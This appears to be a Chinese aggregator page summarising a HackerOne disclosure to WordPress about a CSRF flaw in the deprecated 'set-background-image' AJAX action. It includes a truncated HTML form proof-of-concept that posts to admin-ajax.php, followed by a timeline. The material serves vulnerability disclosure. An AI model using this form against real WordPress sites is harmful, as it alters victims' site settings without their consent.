Arbitrary change of blog's background image via CSRF
该报告还没有中文解读。
原文摘录
摘自原文(3191 字符中的一小部分)
Despite being deprecated since v3.5.0, the `wp_set_background_image` method (defined in wp-admin/includes/class-custom-background.php), registered as an authenticated AJAX call (`wp_ajax_set-background-image`), is still active.
原文中的代码
<html>
<body>
<form action="https://[WP]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="attachment_id" value="5" />
<input type="hidden" name="action" value="set-background-image" />
<input type="hidden" name="size" value="thumbnail" />
<input …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 WordPress 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @erwan_lr · 版权归作者与 WordPress 所有